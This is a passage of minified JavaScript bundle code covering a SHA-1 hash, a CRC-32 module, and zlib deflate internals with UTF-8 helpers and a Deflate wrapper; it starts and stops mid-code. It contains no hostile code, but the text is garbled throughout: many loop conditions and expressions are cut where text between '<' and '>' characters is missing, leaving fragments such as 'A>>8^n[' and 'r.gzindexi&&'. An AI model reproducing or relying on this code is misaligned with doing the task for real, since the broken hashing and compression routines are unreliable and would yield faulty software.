vf(){this.init(),this._w=n5,dI.call(this,64,56)}XV(vf,dI);vf.prototype.init=function(){return this._a=1732584193,this._b=4023233417,this._c=2562383102,this._d=271733878,this._e=3285377520,this};function r5(t){return t<<1|t>>>31}function i5(t){return t<<5|t>>>27}function s5(t){return t<<30|t>>>2}function o5(t,e,n,r){return t===0?e&n|~e&r:t===2?e&n|e&r|n&r:e^n^r}vf.prototype._update=function(t){for(var e=this._w,n=this._a|0,r=this._b|0,i=this._c|0,s=this._d|0,o=this._e|0,a=0;a<16;++a)e[a]=t.readInt32BE(a*4);for(;a<80;++a)e[a]=r5(e[a-3]^e[a-8]^e[a-14]^e[a-16]);for(var l=0;l<80;++l){var c=~~(l/20),u=i5(n)+o5(c,r,i,s)+o+e[l]+t5[c]|0;o=s,s=i,i=s5(r),r=n,n=u}this._a=n+this._a|0,this._b=r+this._b|0,this._c=i+this._c|0,this._d=s+this._d|0,this._e=o+this._e|0};vf.prototype._hash=function(){var t=e5.allocUnsafe(20);return t.writeInt32BE(this._a|0,0),t.writeInt32BE(this._b|0,4),t.writeInt32BE(this._c|0,8),t.writeInt32BE(this._d|0,12),t.writeInt32BE(this._e|0,16),t};mI.exports=vf});var yI=W($b=>{m();var gI;(function(t){typeof DO_NOT_EXPORT_CRC>"u"?typeof $b=="object"?t($b):typeof define=="function"&&define.amd?define(function(){var e={};return t(e),e}):t(gI={}):t(gI={})})(function(t){t.version="1.2.2";function e(){for(var v=0,_=new Array(256),C=0;C!=256;++C)v=C,v=v&1?-306674912^v>>>1:v>>>1,v=v&1?-306674912^v>>>1:v>>>1,v=v&1?-306674912^v>>>1:v>>>1,v=v&1?-306674912^v>>>1:v>>>1,v=v&1?-306674912^v>>>1:v>>>1,v=v&1?-306674912^v>>>1:v>>>1,v=v&1?-306674912^v>>>1:v>>>1,v=v&1?-306674912^v>>>1:v>>>1,_[C]=v;return typeof Int32Array<"u"?new Int32Array(_):_}var n=e();function r(v){var _=0,C=0,A=0,P=typeof Int32Array<"u"?new Int32Array(4096):new Array(4096);for(A=0;A!=256;++A)P[A]=v[A];for(A=0;A!=256;++A)for(C=v[A],_=256+A;_<4096;_+=256)C=P[_]=C>>>8^v[C&255];var N=[];for(A=1;A!=16;++A)N[A-1]=typeof Int32Array<"u"?P.subarray(A*256,A*256+256):P.slice(A*256,A*256+256);return N}var i=r(n),s=i[0],o=i[1],a=i[2],l=i[3],c=i[4],u=i[5],f=i[6],h=i[7],d=i[8],p=i[9],g=i[10],y=i[11],w=i[12],b=i[13],S=i[14];function D(v,_){for(var C=_^-1,A=0,P=v.length;A>>8^n[(C^v.charCodeAt(A++))&255];return~C}function k(v,_){for(var C=_^-1,A=v.length-15,P=0;P>8&255]^w[v[P++]^C>>16&255]^y[v[P++]^C>>>24]^g[v[P++]]^p[v[P++]]^d[v[P++]]^h[v[P++]]^f[v[P++]]^u[v[P++]]^c[v[P++]]^l[v[P++]]^a[v[P++]]^o[v[P++]]^s[v[P++]]^n[v[P++]];for(A+=15;P>>8^n[(C^v[P++])&255];return~C}function E(v,_){for(var C=_^-1,A=0,P=v.length,N=0,B=0;A>>8^n[(C^N)&255]:N<2048?(C=C>>>8^n[(C^(192|N>>6&31))&255],C=C>>>8^n[(C^(128|N&63))&255]):N>=55296&&N<57344?(N=(N&1023)+64,B=v.charCodeAt(A++)&1023,C=C>>>8^n[(C^(240|N>>8&7))&255],C=C>>>8^n[(C^(128|N>>2&63))&255],C=C>>>8^n[(C^(128|B>>6&15|(N&3)<<4))&255],C=C>>>8^n[(C^(128|B&63))&255]):(C=C>>>8^n[(C^(224|N>>12&15))&255],C=C>>>8^n[(C^(128|N>>6&63))&255],C=C>>>8^n[(C^(128|N&63))&255]);return~C}t.table=n,t.bstr=D,t.buf=k,t.str=E})});var is=W(yn=>{"use strict";m();var a5=typeof Uint8Array<"u"&&typeof Uint16Array<"u"&&typeof Int32Array<"u";function l5(t,e){return Object.prototype.hasOwnProperty.call(t,e)}yn.assign=function(t){for(var e=Array.prototype.slice.call(arguments,1);e.length;){var n=e.shift();if(n){if(typeof n!="object")throw new TypeError(n+"must be non-object");for(var r in n)l5(n,r)&&(t[r]=n[r])}}return t};yn.shrinkBuf=function(t,e){return t.length===e?t:t.subarray?t.subarray(0,e):(t.length=e,t)};var c5={arraySet:function(t,e,n,r,i){if(e.subarray&&t.subarray){t.set(e.subarray(n,n+r),i);return}for(var s=0;s{"use strict";m();var f5=is(),h5=4,wI=0,bI=1,d5=2;function Jl(t){for(var e=t.length;--e>=0;)t[e]=0}var m5=0,EI=1,p5=2,g5=3,y5=258,Gb=29,_f=256,xf=_f+1+Gb,Yl=30,Qb=19,_I=2*xf+1,ua=15,Ub=16,w5=7,Kb=256,CI=16,TI=17,FI=18,Hb=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0],rp=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13],b5=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7],II=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15],v5=512,ss=new Array((xf+2)*2);Jl(ss);var kf=new Array(Yl*2);Jl(kf);var Sf=new Array(v5);Jl(Sf);var Df=new Array(y5-g5+1);Jl(Df);var Zb=new Array(Gb);Jl(Zb);var ip=new Array(Yl);Jl(ip);function jb(t,e,n,r,i){this.static_tree=t,this.extra_bits=e,this.extra_base=n,this.elems=r,this.max_length=i,this.has_stree=t&&t.length}var AI,OI,PI;function qb(t,e){this.dyn_tree=t,this.max_code=0,this.stat_desc=e}function NI(t){return t<256?Sf[t]:Sf[256+(t>>>7)]}function Ef(t,e){t.pending_buf[t.pending++]=e&255,t.pending_buf[t.pending++]=e>>>8&255}function Mn(t,e,n){t.bi_valid>Ub-n?(t.bi_buf|=e<>Ub-t.bi_valid,t.bi_valid+=n-Ub):(t.bi_buf|=e<>>=1,n<<=1;while(--e>0);return n>>>1}function k5(t){t.bi_valid===16?(Ef(t,t.bi_buf),t.bi_buf=0,t.bi_valid=0):t.bi_valid>=8&&(t.pending_buf[t.pending++]=t.bi_buf&255,t.bi_buf>>=8,t.bi_valid-=8)}function x5(t,e){var n=e.dyn_tree,r=e.max_code,i=e.stat_desc.static_tree,s=e.stat_desc.has_stree,o=e.stat_desc.extra_bits,a=e.stat_desc.extra_base,l=e.stat_desc.max_length,c,u,f,h,d,p,g=0;for(h=0;h<=ua;h++)t.bl_count[h]=0;for(n[t.heap[t.heap_max]*2+1]=0,c=t.heap_max+1;c<_I;c++)u=t.heap[c],h=n[n[u*2+1]*2+1]+1,h>l&&(h=l,g++),n[u*2+1]=h,!(u>r)&&(t.bl_count[h]++,d=0,u>=a&&(d=o[u-a]),p=n[u*2],t.opt_len+=p*(h+d),s&&(t.static_len+=p*(i[u*2+1]+d)));if(g!==0){do{for(h=l-1;t.bl_count[h]===0;)h--;t.bl_count[h]--,t.bl_count[h+1]+=2,t.bl_count[l]--,g-=2}while(g>0);for(h=l;h!==0;h--)for(u=t.bl_count[h];u!==0;)f=t.heap[--c],!(f>r)&&(n[f*2+1]!==h&&(t.opt_len+=(h-n[f*2+1])*n[f*2],n[f*2+1]=h),u--)}}function RI(t,e,n){var r=new Array(ua+1),i=0,s,o;for(s=1;s<=ua;s++)r[s]=i=i+n[s-1]<<1;for(o=0;o<=e;o++){var a=t[o*2+1];a!==0&&(t[o*2]=MI(r[a]++,a))}}function S5(){var t,e,n,r,i,s=new Array(ua+1);for(n=0,r=0;r>=7;r8?Ef(t,t.bi_buf):t.bi_valid>0&&(t.pending_buf[t.pending++]=t.bi_buf),t.bi_buf=0,t.bi_valid=0}function D5(t,e,n,r){LI(t),r&&(Ef(t,n),Ef(t,~n)),f5.arraySet(t.pending_buf,t.window,e,n,t.pending),t.pending+=n}function vI(t,e,n,r){var i=e*2,s=n*2;return t[i]>1;o>=1;o--)Vb(t,n,o);c=s;do o=t.heap[1],t.heap[1]=t.heap[t.heap_len--],Vb(t,n,1),a=t.heap[1],t.heap[--t.heap_max]=o,t.heap[--t.heap_max]=a,n[c*2]=n[o*2]+n[a*2],t.depth[c]=(t.depth[o]>=t.depth[a]?t.depth[o]:t.depth[a])+1,n[o*2+1]=n[a*2+1]=c,t.heap[1]=c++,Vb(t,n,1);while(t.heap_len>=2);t.heap[--t.heap_max]=t.heap[1],x5(t,e),RI(n,l,t.bl_count)}function xI(t,e,n){var r,i=-1,s,o=e[0*2+1],a=0,l=7,c=4;for(o===0&&(l=138,c=3),e[(n+1)*2+1]=65535,r=0;r<=n;r++)s=o,o=e[(r+1)*2+1],!(++a=3&&t.bl_tree[II[e]*2+1]===0;e--);return t.opt_len+=3*(e+1)+5+5+4,e}function _5(t,e,n,r){var i;for(Mn(t,e-257,5),Mn(t,n-1,5),Mn(t,r-4,4),i=0;i>>=1)if(e&1&&t.dyn_ltree[n*2]!==0)return wI;if(t.dyn_ltree[9*2]!==0||t.dyn_ltree[10*2]!==0||t.dyn_ltree[13*2]!==0)return bI;for(n=32;n<_f;n++)if(t.dyn_ltree[n*2]!==0)return bI;return wI}var DI=!1;function T5(t){DI||(S5(),DI=!0),t.l_desc=new qb(t.dyn_ltree,AI),t.d_desc=new qb(t.dyn_dtree,OI),t.bl_desc=new qb(t.bl_tree,PI),t.bi_buf=0,t.bi_valid=0,zI(t)}function BI(t,e,n,r){Mn(t,(m5<<1)+(r?1:0),3),D5(t,e,n,!0)}function F5(t){Mn(t,EI<<1,3),Ei(t,Kb,ss),k5(t)}function I5(t,e,n,r){var i,s,o=0;t.level>0?(t.strm.data_type===d5&&(t.strm.data_type=C5(t)),Wb(t,t.l_desc),Wb(t,t.d_desc),o=E5(t),i=t.opt_len+3+7>>>3,s=t.static_len+3+7>>>3,s<=i&&(i=s)):i=s=n+5,n+4<=i&&e!==-1?BI(t,e,n,r):t.strategy===h5||s===i?(Mn(t,(EI<<1)+(r?1:0),3),kI(t,ss,kf)):(Mn(t,(p5<<1)+(r?1:0),3),_5(t,t.l_desc.max_code+1,t.d_desc.max_code+1,o+1),kI(t,t.dyn_ltree,t.dyn_dtree)),zI(t),r&&LI(t)}function A5(t,e,n){return t.pending_buf[t.d_buf+t.last_lit*2]=e>>>8&255,t.pending_buf[t.d_buf+t.last_lit*2+1]=e&255,t.pending_buf[t.l_buf+t.last_lit]=n&255,t.last_lit++,e===0?t.dyn_ltree[n*2]++:(t.matches++,e--,t.dyn_ltree[(Df[n]+_f+1)*2]++,t.dyn_dtree[NI(e)*2]++),t.last_lit===t.lit_bufsize-1}Xl._tr_init=T5;Xl._tr_stored_block=BI;Xl._tr_flush_block=I5;Xl._tr_tally=A5;Xl._tr_align=F5});var Yb=W((ume,UI)=>{"use strict";m();function O5(t,e,n,r){for(var i=t&65535|0,s=t>>>16&65535|0,o=0;n!==0;){o=n>2e3?2e3:n,n-=o;do i=i+e[r++]|0,s=s+i|0;while(--o);i%=65521,s%=65521}return i|s<<16|0}UI.exports=O5});var Jb=W((hme,jI)=>{"use strict";m();function P5(){for(var t,e=[],n=0;n<256;n++){t=n;for(var r=0;r<8;r++)t=t&1?3988292384^t>>>1:t>>>1;e[n]=t}return e}var N5=P5();function M5(t,e,n,r){var i=N5,s=r+n;t^=-1;for(var o=r;o>>8^i[(t^e[o])&255];return t^-1}jI.exports=M5});var sp=W((mme,qI)=>{"use strict";m();qI.exports={2:"need dictionary",1:"stream end",0:"","-1":"file error","-2":"stream error","-3":"data error","-4":"insufficient memory","-5":"buffer error","-6":"incompatible version"}});var JI=W(Ti=>{"use strict";m();var wn=is(),Ir=$I(),GI=Yb(),qs=Jb(),R5=sp(),ma=0,z5=1,L5=3,Qs=4,VI=5,Ci=0,HI=1,Ar=-2,B5=-3,Xb=-5,$5=-1,U5=1,op=2,j5=3,q5=4,V5=0,H5=2,up=8,W5=9,G5=15,Q5=8,K5=29,Z5=256,tv=Z5+1+K5,Y5=30,J5=19,X5=2*tv+1,eH=15,Ue=3,Ws=258,ni=Ws+Ue+1,tH=32,fp=42,nv=69,ap=73,lp=91,cp=103,fa=113,Tf=666,Rt=1,Ff=2,ha=3,nc=4,nH=3;function Gs(t,e){return t.msg=R5[e],e}function WI(t){return(t<<1)-(t>4?9:0)}function Hs(t){for(var e=t.length;--e>=0;)t[e]=0}function Vs(t){var e=t.state,n=e.pending;n>t.avail_out&&(n=t.avail_out),n!==0&&(wn.arraySet(t.output,e.pending_buf,e.pending_out,n,t.next_out),t.next_out+=n,e.pending_out+=n,t.total_out+=n,t.avail_out-=n,e.pending-=n,e.pending===0&&(e.pending_out=0))}function en(t,e){Ir._tr_flush_block(t,t.block_start>=0?t.block_start:-1,t.strstart-t.block_start,e),t.block_start=t.strstart,Vs(t.strm)}function Ke(t,e){t.pending_buf[t.pending++]=e}function Cf(t,e){t.pending_buf[t.pending++]=e>>>8&255,t.pending_buf[t.pending++]=e&255}function rH(t,e,n,r){var i=t.avail_in;return i>r&&(i=r),i===0?0:(t.avail_in-=i,wn.arraySet(e,t.input,t.next_in,i,n),t.state.wrap===1?t.adler=GI(t.adler,e,i,n):t.state.wrap===2&&(t.adler=qs(t.adler,e,i,n)),t.next_in+=i,t.total_in+=i,i)}function QI(t,e){var n=t.max_chain_length,r=t.strstart,i,s,o=t.prev_length,a=t.nice_match,l=t.strstart>t.w_size-ni?t.strstart-(t.w_size-ni):0,c=t.window,u=t.w_mask,f=t.prev,h=t.strstart+Ws,d=c[r+o-1],p=c[r+o];t.prev_length>=t.good_match&&(n>>=2),a>t.lookahead&&(a=t.lookahead);do if(i=e,!(c[i+o]!==p||c[i+o-1]!==d||c[i]!==c[r]||c[++i]!==c[r+1])){r+=2,i++;do;while(c[++r]===c[++i]&&c[++r]===c[++i]&&c[++r]===c[++i]&&c[++r]===c[++i]&&c[++r]===c[++i]&&c[++r]===c[++i]&&c[++r]===c[++i]&&c[++r]===c[++i]&&ro){if(t.match_start=e,o=s,s>=a)break;d=c[r+o-1],p=c[r+o]}}while((e=f[e&u])>l&&--n!==0);return o<=t.lookahead?o:t.lookahead}function da(t){var e=t.w_size,n,r,i,s,o;do{if(s=t.window_size-t.lookahead-t.strstart,t.strstart>=e+(e-ni)){wn.arraySet(t.window,t.window,e,e,0),t.match_start-=e,t.strstart-=e,t.block_start-=e,r=t.hash_size,n=r;do i=t.head[--n],t.head[n]=i>=e?i-e:0;while(--r);r=e,n=r;do i=t.prev[--n],t.prev[n]=i>=e?i-e:0;while(--r);s+=e}if(t.strm.avail_in===0)break;if(r=rH(t.strm,t.window,t.strstart+t.lookahead,s),t.lookahead+=r,t.lookahead+t.insert>=Ue)for(o=t.strstart-t.insert,t.ins_h=t.window[o],t.ins_h=(t.ins_h<t.pending_buf_size-5&&(n=t.pending_buf_size-5);;){if(t.lookahead<=1){if(da(t),t.lookahead===0&&e===ma)return Rt;if(t.lookahead===0)break}t.strstart+=t.lookahead,t.lookahead=0;var r=t.block_start+n;if((t.strstart===0||t.strstart>=r)&&(t.lookahead=t.strstart-r,t.strstart=r,en(t,!1),t.strm.avail_out===0)||t.strstart-t.block_start>=t.w_size-ni&&(en(t,!1),t.strm.avail_out===0))return Rt}return t.insert=0,e===Qs?(en(t,!0),t.strm.avail_out===0?ha:nc):(t.strstart>t.block_start&&(en(t,!1),t.strm.avail_out===0),Rt)}function ev(t,e){for(var n,r;;){if(t.lookahead=Ue&&(t.ins_h=(t.ins_h<=Ue)if(r=Ir._tr_tally(t,t.strstart-t.match_start,t.match_length-Ue),t.lookahead-=t.match_length,t.match_length<=t.max_lazy_match&&t.lookahead>=Ue){t.match_length--;do t.strstart++,t.ins_h=(t.ins_h<=Ue&&(t.ins_h=(t.ins_h<4096)&&(t.match_length=Ue-1)),t.prev_length>=Ue&&t.match_length<=t.prev_length){i=t.strstart+t.lookahead-Ue,r=Ir._tr_tally(t,t.strstart-1-t.prev_match,t.prev_length-Ue),t.lookahead-=t.prev_length-1,t.prev_length-=2;do++t.strstart<=i&&(t.ins_h=(t.ins_h<=Ue&&t.strstart>0&&(i=t.strstart-1,r=o[i],r===o[++i]&&r===o[++i]&&r===o[++i])){s=t.strstart+Ws;do;while(r===o[++i]&&r===o[++i]&&r===o[++i]&&r===o[++i]&&r===o[++i]&&r===o[++i]&&r===o[++i]&&r===o[++i]&&it.lookahead&&(t.match_length=t.lookahead)}if(t.match_length>=Ue?(n=Ir._tr_tally(t,1,t.match_length-Ue),t.lookahead-=t.match_length,t.strstart+=t.match_length,t.match_length=0):(n=Ir._tr_tally(t,0,t.window[t.strstart]),t.lookahead--,t.strstart++),n&&(en(t,!1),t.strm.avail_out===0))return Rt}return t.insert=0,e===Qs?(en(t,!0),t.strm.avail_out===0?ha:nc):t.last_lit&&(en(t,!1),t.strm.avail_out===0)?Rt:Ff}function oH(t,e){for(var n;;){if(t.lookahead===0&&(da(t),t.lookahead===0)){if(e===ma)return Rt;break}if(t.match_length=0,n=Ir._tr_tally(t,0,t.window[t.strstart]),t.lookahead--,t.strstart++,n&&(en(t,!1),t.strm.avail_out===0))return Rt}return t.insert=0,e===Qs?(en(t,!0),t.strm.avail_out===0?ha:nc):t.last_lit&&(en(t,!1),t.strm.avail_out===0)?Rt:Ff}function _i(t,e,n,r,i){this.good_length=t,this.max_lazy=e,this.nice_length=n,this.max_chain=r,this.func=i}var tc;tc=[new _i(0,0,0,0,iH),new _i(4,4,8,4,ev),new _i(4,5,16,8,ev),new _i(4,6,32,32,ev),new _i(4,4,16,16,ec),new _i(8,16,32,32,ec),new _i(8,16,128,128,ec),new _i(8,32,128,256,ec),new _i(32,128,258,1024,ec),new _i(32,258,258,4096,ec)];function aH(t){t.window_size=2*t.w_size,Hs(t.head),t.max_lazy_match=tc[t.level].max_lazy,t.good_match=tc[t.level].good_length,t.nice_match=tc[t.level].nice_length,t.max_chain_length=tc[t.level].max_chain,t.strstart=0,t.block_start=0,t.lookahead=0,t.insert=0,t.match_length=t.prev_length=Ue-1,t.match_available=0,t.ins_h=0}function lH(){this.strm=null,this.status=0,this.pending_buf=null,this.pending_buf_size=0,this.pending_out=0,this.pending=0,this.wrap=0,this.gzhead=null,this.gzindex=0,this.method=up,this.last_flush=-1,this.w_size=0,this.w_bits=0,this.w_mask=0,this.window=null,this.window_size=0,this.prev=null,this.head=null,this.ins_h=0,this.hash_size=0,this.hash_bits=0,this.hash_mask=0,this.hash_shift=0,this.block_start=0,this.match_length=0,this.prev_match=0,this.match_available=0,this.strstart=0,this.match_start=0,this.lookahead=0,this.prev_length=0,this.max_chain_length=0,this.max_lazy_match=0,this.level=0,this.strategy=0,this.good_match=0,this.nice_match=0,this.dyn_ltree=new wn.Buf16(X5*2),this.dyn_dtree=new wn.Buf16((2*Y5+1)*2),this.bl_tree=new wn.Buf16((2*J5+1)*2),Hs(this.dyn_ltree),Hs(this.dyn_dtree),Hs(this.bl_tree),this.l_desc=null,this.d_desc=null,this.bl_desc=null,this.bl_count=new wn.Buf16(eH+1),this.heap=new wn.Buf16(2*tv+1),Hs(this.heap),this.heap_len=0,this.heap_max=0,this.depth=new wn.Buf16(2*tv+1),Hs(this.depth),this.l_buf=0,this.lit_bufsize=0,this.last_lit=0,this.d_buf=0,this.opt_len=0,this.static_len=0,this.matches=0,this.insert=0,this.bi_buf=0,this.bi_valid=0}function KI(t){var e;return!t||!t.state?Gs(t,Ar):(t.total_in=t.total_out=0,t.data_type=H5,e=t.state,e.pending=0,e.pending_out=0,e.wrap<0&&(e.wrap=-e.wrap),e.status=e.wrap?fp:fa,t.adler=e.wrap===2?0:1,e.last_flush=ma,Ir._tr_init(e),Ci)}function ZI(t){var e=KI(t);return e===Ci&&aH(t.state),e}function cH(t,e){return!t||!t.state||t.state.wrap!==2?Ar:(t.state.gzhead=e,Ci)}function YI(t,e,n,r,i,s){if(!t)return Ar;var o=1;if(e===$5&&(e=6),r<0?(o=0,r=-r):r>15&&(o=2,r-=16),i<1||i>W5||n!==up||r<8||r>15||e<0||e>9||s<0||s>q5)return Gs(t,Ar);r===8&&(r=9);var a=new lH;return t.state=a,a.strm=t,a.wrap=o,a.gzhead=null,a.w_bits=r,a.w_size=1<VI||e<0)return t?Gs(t,Ar):Ar;if(r=t.state,!t.output||!t.input&&t.avail_in!==0||r.status===Tf&&e!==Qs)return Gs(t,t.avail_out===0?Xb:Ar);if(r.strm=t,n=r.last_flush,r.last_flush=e,r.status===fp)if(r.wrap===2)t.adler=0,Ke(r,31),Ke(r,139),Ke(r,8),r.gzhead?(Ke(r,(r.gzhead.text?1:0)+(r.gzhead.hcrc?2:0)+(r.gzhead.extra?4:0)+(r.gzhead.name?8:0)+(r.gzhead.comment?16:0)),Ke(r,r.gzhead.time&255),Ke(r,r.gzhead.time>>8&255),Ke(r,r.gzhead.time>>16&255),Ke(r,r.gzhead.time>>24&255),Ke(r,r.level===9?2:r.strategy>=op||r.level<2?4:0),Ke(r,r.gzhead.os&255),r.gzhead.extra&&r.gzhead.extra.length&&(Ke(r,r.gzhead.extra.length&255),Ke(r,r.gzhead.extra.length>>8&255)),r.gzhead.hcrc&&(t.adler=qs(t.adler,r.pending_buf,r.pending,0)),r.gzindex=0,r.status=nv):(Ke(r,0),Ke(r,0),Ke(r,0),Ke(r,0),Ke(r,0),Ke(r,r.level===9?2:r.strategy>=op||r.level<2?4:0),Ke(r,nH),r.status=fa);else{var o=up+(r.w_bits-8<<4)<<8,a=-1;r.strategy>=op||r.level<2?a=0:r.level<6?a=1:r.level===6?a=2:a=3,o|=a<<6,r.strstart!==0&&(o|=tH),o+=31-o%31,r.status=fa,Cf(r,o),r.strstart!==0&&(Cf(r,t.adler>>>16),Cf(r,t.adler&65535)),t.adler=1}if(r.status===nv)if(r.gzhead.extra){for(i=r.pending;r.gzindex<(r.gzhead.extra.length&65535)&&!(r.pending===r.pending_buf_size&&(r.gzhead.hcrc&&r.pending>i&&(t.adler=qs(t.adler,r.pending_buf,r.pending-i,i)),Vs(t),i=r.pending,r.pending===r.pending_buf_size));)Ke(r,r.gzhead.extra[r.gzindex]&255),r.gzindex++;r.gzhead.hcrc&&r.pending>i&&(t.adler=qs(t.adler,r.pending_buf,r.pending-i,i)),r.gzindex===r.gzhead.extra.length&&(r.gzindex=0,r.status=ap)}else r.status=ap;if(r.status===ap)if(r.gzhead.name){i=r.pending;do{if(r.pending===r.pending_buf_size&&(r.gzhead.hcrc&&r.pending>i&&(t.adler=qs(t.adler,r.pending_buf,r.pending-i,i)),Vs(t),i=r.pending,r.pending===r.pending_buf_size)){s=1;break}r.gzindexi&&(t.adler=qs(t.adler,r.pending_buf,r.pending-i,i)),s===0&&(r.gzindex=0,r.status=lp)}else r.status=lp;if(r.status===lp)if(r.gzhead.comment){i=r.pending;do{if(r.pending===r.pending_buf_size&&(r.gzhead.hcrc&&r.pending>i&&(t.adler=qs(t.adler,r.pending_buf,r.pending-i,i)),Vs(t),i=r.pending,r.pending===r.pending_buf_size)){s=1;break}r.gzindexi&&(t.adler=qs(t.adler,r.pending_buf,r.pending-i,i)),s===0&&(r.status=cp)}else r.status=cp;if(r.status===cp&&(r.gzhead.hcrc?(r.pending+2>r.pending_buf_size&&Vs(t),r.pending+2<=r.pending_buf_size&&(Ke(r,t.adler&255),Ke(r,t.adler>>8&255),t.adler=0,r.status=fa)):r.status=fa),r.pending!==0){if(Vs(t),t.avail_out===0)return r.last_flush=-1,Ci}else if(t.avail_in===0&&WI(e)<=WI(n)&&e!==Qs)return Gs(t,Xb);if(r.status===Tf&&t.avail_in!==0)return Gs(t,Xb);if(t.avail_in!==0||r.lookahead!==0||e!==ma&&r.status!==Tf){var l=r.strategy===op?oH(r,e):r.strategy===j5?sH(r,e):tc[r.level].func(r,e);if((l===ha||l===nc)&&(r.status=Tf),l===Rt||l===ha)return t.avail_out===0&&(r.last_flush=-1),Ci;if(l===Ff&&(e===z5?Ir._tr_align(r):e!==VI&&(Ir._tr_stored_block(r,0,0,!1),e===L5&&(Hs(r.head),r.lookahead===0&&(r.strstart=0,r.block_start=0,r.insert=0))),Vs(t),t.avail_out===0))return r.last_flush=-1,Ci}return e!==Qs?Ci:r.wrap<=0?HI:(r.wrap===2?(Ke(r,t.adler&255),Ke(r,t.adler>>8&255),Ke(r,t.adler>>16&255),Ke(r,t.adler>>24&255),Ke(r,t.total_in&255),Ke(r,t.total_in>>8&255),Ke(r,t.total_in>>16&255),Ke(r,t.total_in>>24&255)):(Cf(r,t.adler>>>16),Cf(r,t.adler&65535)),Vs(t),r.wrap>0&&(r.wrap=-r.wrap),r.pending!==0?Ci:HI)}function hH(t){var e;return!t||!t.state?Ar:(e=t.state.status,e!==fp&&e!==nv&&e!==ap&&e!==lp&&e!==cp&&e!==fa&&e!==Tf?Gs(t,Ar):(t.state=null,e===fa?Gs(t,B5):Ci))}function dH(t,e){var n=e.length,r,i,s,o,a,l,c,u;if(!t||!t.state||(r=t.state,o=r.wrap,o===2||o===1&&r.status!==fp||r.lookahead))return Ar;for(o===1&&(t.adler=GI(t.adler,e,n,0)),r.wrap=0,n>=r.w_size&&(o===0&&(Hs(r.head),r.strstart=0,r.block_start=0,r.insert=0),u=new wn.Buf8(r.w_size),wn.arraySet(u,e,n-r.w_size,r.w_size,0),e=u,n=r.w_size),a=t.avail_in,l=t.next_in,c=t.input,t.avail_in=n,t.next_in=0,t.input=e,da(r);r.lookahead>=Ue;){i=r.strstart,s=r.lookahead-(Ue-1);do r.ins_h=(r.ins_h<{"use strict";m();var hp=is(),XI=!0,e2=!0;try{String.fromCharCode.apply(null,[0])}catch{XI=!1}try{String.fromCharCode.apply(null,new Uint8Array(1))}catch{e2=!1}var If=new hp.Buf8(256);for(os=0;os<256;os++)If[os]=os>=252?6:os>=248?5:os>=240?4:os>=224?3:os>=192?2:1;var os;If[254]=If[254]=1;rc.string2buf=function(t){var e,n,r,i,s,o=t.length,a=0;for(i=0;i>>6,e[s++]=128|n&63):n<65536?(e[s++]=224|n>>>12,e[s++]=128|n>>>6&63,e[s++]=128|n&63):(e[s++]=240|n>>>18,e[s++]=128|n>>>12&63,e[s++]=128|n>>>6&63,e[s++]=128|n&63);return e};function t2(t,e){if(e<65534&&(t.subarray&&e2||!t.subarray&&XI))return String.fromCharCode.apply(null,hp.shrinkBuf(t,e));for(var n="",r=0;r4){a[r++]=65533,n+=s-1;continue}for(i&=s===2?31:s===3?15:7;s>1&&n1){a[r++]=65533;continue}i<65536?a[r++]=i:(i-=65536,a[r++]=55296|i>>10&1023,a[r++]=56320|i&1023)}return t2(a,r)};rc.utf8border=function(t,e){var n;for(e=e||t.length,e>t.length&&(e=t.length),n=e-1;n>=0&&(t[n]&192)===128;)n--;return n<0||n===0?e:n+If[t[n]]>e?n:e}});var iv=W((vme,n2)=>{"use strict";m();function mH(){this.input=null,this.next_in=0,this.avail_in=0,this.total_in=0,this.output=null,this.next_out=0,this.avail_out=0,this.total_out=0,this.msg="",this.state=null,this.data_type=2,this.adler=0}n2.exports=mH});var o2=W(Pf=>{"use strict";m();var Af=JI(),Of=is(),ov=rv(),av=sp(),pH=iv(),s2=Object.prototype.toString,gH=0,sv=4,ic=0,r2=1,i2=2,yH=-1,wH=0,bH=8;function pa(t){if(!(this instanceof pa))return new pa(t);this.options=Of.assign({level:yH,method:bH,chunkSize:16384,windowBits:15,memLevel:8,strategy:wH,to:""},t||{});var e=this.options;e.raw&&e.windowBits>0?e.windowBits=-e.windowBits:e.gzip&&e.windowBits>0&&e.windowBits<16&&(e.windowBits+=16),this.err=0,this.msg="",this.ended=!1,this.chunks=[],this.strm=new pH,this.strm.avail_out=0;var n=Af.deflateInit2(this.strm,e.level,e.method,e.windowBits,e.memLevel,e.strategy);if(n!==ic)throw new Error(av[n]);if(e.header&&Af.deflateSetHeader(this.strm,e.header),e.dictionary){var r;if(typeof e.dictionary=="string"?r=ov.string2buf(e.dictionary):s2.call(e.dictionary)==="[object ArrayBuffer]"?r=new Uint8Array(e.dictionary):r=e.dictionary,n=Af.deflateSetDictionary(this.strm,r),n!==ic)throw new Error(av[n]);this._dict_set=!0}}pa.prototype.push=function(t,e){var n=this.strm,r=this.options.chunkSize,i,s;if(this.ended)return!1;s=e===~~e?e:e===!0?sv:gH,typeof t=="string"?n.input=ov.string2buf(t):s2.call(t)==="[object ArrayBuffer]"?n.input=new Uint8Array(t):n.input=t,n.next_in=0,n.avail_in=n.input.length;do{if(n.avail_out===0&&(n.output=new Of.Buf8(r),n.next_out=0,n.avail_out=r),i=Af.deflate(n,s),i!==r2&&i!==ic)return this.onEnd(i),this.ended=!0,!1;(n.avail_out===0||n.avail_in===0&&(s===sv||s===i2))&&(this.options.to==="string"?this.onData(ov.buf2binstring(Of.shrinkBuf(n.output,n.next_out))):this.onData(Of.shrinkBuf(n.output,n.next_out)))}while((n.avail_in>0||n.avail_out===0)&&i!==r2);return s===sv?(i=Af.deflateEnd(this.strm),this.onEnd(i),this.ended=!0,i===ic):(s===i2&&(this.onEnd(ic),n.avail_out=0),!0)};pa.prototype.onData=function(t){this.chunks.push(t)};pa.prototype.onEnd=function(t){t===ic&&(this.options.to==="string"?this.result=this.chunks.join(""):this.result=Of.flattenChunks(this.chunks)),this.chunks=[],this.err=t,this.msg=this.strm.msg};function lv(t,e){var n=new pa(e);if(n.push(t,!0),n.err)throw n.msg||av[n.err];return n.result}function vH(t,e){return e=e||{},e.raw=!0,lv(t,e)}function kH(t,e){return e=e||{},e.gzip=!0,lv(t,e)}Pf.Deflate=pa;Pf.deflate=lv;Pf.deflateRaw=vH;Pf.gzip=kH});var l2=W((Dme,a2)=>{"use strict";m();var dp=30,xH=12;a2.exports=function(e,n){var 